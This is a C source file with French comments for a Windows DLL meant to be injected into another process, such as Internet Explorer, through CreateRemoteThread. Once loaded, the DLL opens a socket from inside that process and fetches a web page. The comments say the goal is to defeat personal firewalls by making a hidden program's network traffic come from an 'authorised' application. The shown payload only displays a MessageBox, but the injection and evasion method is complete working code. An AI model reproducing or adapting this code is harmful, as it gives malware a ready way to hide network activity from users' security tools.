//==============================================================================
// Quelques arrangement de code : BeLZeL (07 juillet 2004)
// Injecté dans Internet Explorer, cette DLL va afficher un MessageBox contenant
// le code source d'une page HTML (ici, mon site, mais c'est modifiable).
//------------------------------------------------------------------------------
// Pourquoi faire :
// On va créer un programme qui se connecte à internet par le biais d'un programme "autorisé".
// En effet, à cause des firewalls, il est impossible d'être discret en voulant
// se connecter à partir de notre programme principal.
// Grâce à un bout de code dans une DLL, notre programme principal va injecter
// ce code dans un programme "autorisé" (internet explorer, emule, kazaa, aol).
// Ce programme "autorisé" va ensuite l'exécuter, sans se poser de question.
//==============================================================================
//==============================================================================
// Commentaires de l'auteur
//------------------------------------------------------------------------------
// INJECTION CREATEREMOTETHREAD USING A DLL
// This DLL has been designed to be injected into another process and connect to a web site.
// Used in conjonction with kInject, this method defeats personal firewalls
// Kdm (kodmaker@netcourrier.com) 08/2002
//==============================================================================
#include <windows.h>
#define SERVER_PORT 80
// #define MAKEWORD(a, b) ((WORD) (((BYTE) (a)) | ((WORD) ((BYTE) (b))) << 8)) // windef.h
//==============================================================================
// DWORD WINAPI ThreadProc ( void* thParam )
//------------------------------------------------------------------------------
// Description
// Se connecte à un site internet, récupère une page index (avec le protocol
// HTTP 1.1) et montre son source HTML dans un MessageBox.
//------------------------------------------------------------------------------
// Variables
// thParam (LPVOID) : (non utilisé)
//------------------------------------------------------------------------------
// Notes sur le protocol HTTP 1.1 (http://www.commentcamarche.net/internet/http.php3)
//
// GET: Le server reponds avec le Header et le fichier complet. --> nous utiliserons GET
// HEAD: Le server reponds avec le Header seul.
// POST: Le server va enregistrer les dates dans le fichier dˇcrit par l' URL.
// PUT: Le server va enregistrer les dates dans un nouveau fichier.
// DELETE: Le server va effacer le fichier dˇcrit par l'URL.
// LINK: Le server va enregistrer un link.
// UNLINK: Le server va effacer le link.
//
// Un aperçu d'un header reçu avec le protocol HTTP 1.1
// HTTP/1.1 200 OK
// Date: Thu, 08 Jul 2004 00:17:54 GMT
// Server: Apache1.3.29 - ProXad [Jun 9 2004 15:20:12]
// Last-Modified: Fri, 25 Jun 2004 11:51:42 GMT
// ETag: "1978ce-34f3-40dc11ce"
// Accept-Ranges: bytes
// Connection: close
// Content-Type: text/html
//==============================================================================
DWORD WINAPI ThreadProc ( LPVOID thParam )
{
WORD wVersion = MAKEWORD ( 2, 0 ); // Version 2.0 de Winsock
WSADATA WSAData; // utilisé pour initialisé Winsock
int err;
char recbuf[1024]; // stockage du résultat
int sd, rc; // descripteurs socket
struct sockaddr_in servAddr; // utilisé avec connect()
struct hostent *h; // utilisé pour résoudre hostname => ip
// Requete (protocole HTTP) : demande de http://belzel.free.fr/index.html
char *host = "belzel.free.fr"; // serveur cible
char sendbuf[]="GET /index.html HTTP/1.1\nHost: belzel.free.fr:80\n\n";
err = WSAStartup ( wVersion, &WSAData );
h = gethostbyname ( host );
if ( h==NULL ) { MessageBox ( NULL, "Serveur Inconnu", "ERROR", MB_OK); return 0; }
// Initialisation du type d'adresse, de l'ip et du port
servAddr.sin_family = h->h_addrtype;
memcpy ( (char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length );
servAddr.sin_port = htons ( SERVER_PORT );
// Création du socket
sd = socket ( AF_INET, SOCK_STREAM, 0 );
if ( sd<0 ) { MessageBox ( NULL, "cannot open socket", "", MB_OK); return 0; }
// Connexion du socket à un serveur distant
rc = connect ( sd, (struct sockaddr *) &servAddr, sizeof(servAddr) );
if ( rc<0 ) { MessageBox ( NULL, "cannot connect", "", MB_OK); return 0; }
// Envoie des données
rc = send ( sd, sendbuf, strlen(sendbuf), 0 );
if ( rc<0 ) { MessageBox ( NULL, "cannot send data", "", MB_OK); return 0; }
// Réception des données (la réponse) puis affichage msgbox
recv ( sd, recbuf, sizeof(recbuf), 0 );
MessageBox ( NULL, recbuf, "RECU", MB_OK );
return 0;
}
//==============================================================================
// BOOL APIENTRY DllMain( HINSTANCE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
//------------------------------------------------------------------------------
// Description
// Fonction principale de la DLL. Exécute une fonction annexe (ThreadProc) dans
// un nouveau thread.
//==============================================================================
BOOL APIENTRY DllMain( HINSTANCE hModule, DWORD raison, LPVOID lpReserved)
{
char ModPath[256];
HANDLE hThr;
// On ne traite pas les raisons autres que l'initialisation de la DLL
if ( raison!=DLL_PROCESS_ATTACH ) return TRUE;
// On récupère le chemin complet du programme à lancer (presque inutile)
GetModuleFileName ( NULL, ModPath, sizeof(ModPath) );
MessageBox ( NULL, ModPath, "DLL INJECTED INTO :", MB_OK );
// Exécution du code (en réalité, le code s'exécute dans le programme "ModPath")
hThr = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE ) ThreadProc, NULL, 0, NULL);
if ( hThr==NULL ) MessageBox(NULL, "CreateThread failed.", "IAT DLL", MB_OK);
else CloseHandle ( hThr );
return TRUE;
}
//==============================================================================
// FONCTIONS UTILISES, FOURNIES AVEC WIN32
//==============================================================================
// int WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData);
// Initialise les sockets
//------------------------------------------------------------------------------
// struct hostent FAR * gethostbyname ( const char FAR * name );
// Retourne les informations correspondant au nom du serveur.
//------------------------------------------------------------------------------
// u_short htons ( u_short hostshort );
// Convertit un u_short dans un ordre d'octets compréhensible pour TCP/IP.
//------------------------------------------------------------------------------
// SOCKET socket ( int af, int type, int protocol );
// Création d'un socket lié à un fournisseur de service spécifique.
//------------------------------------------------------------------------------
// struct hostent {
// char FAR * h_name;
// char FAR * FAR * h_aliases;
// short h_addrtype;
// short h_length;
// char FAR * FAR * h_addr_list;
// };
// struct sockaddr_in {
// short sin_family;
// u_short sin_port;
// struct in_addr sin_addr;
// char sin_zero[8];
// };
//==============================================================================
//==============================================================================
// EOF
//==============================================================================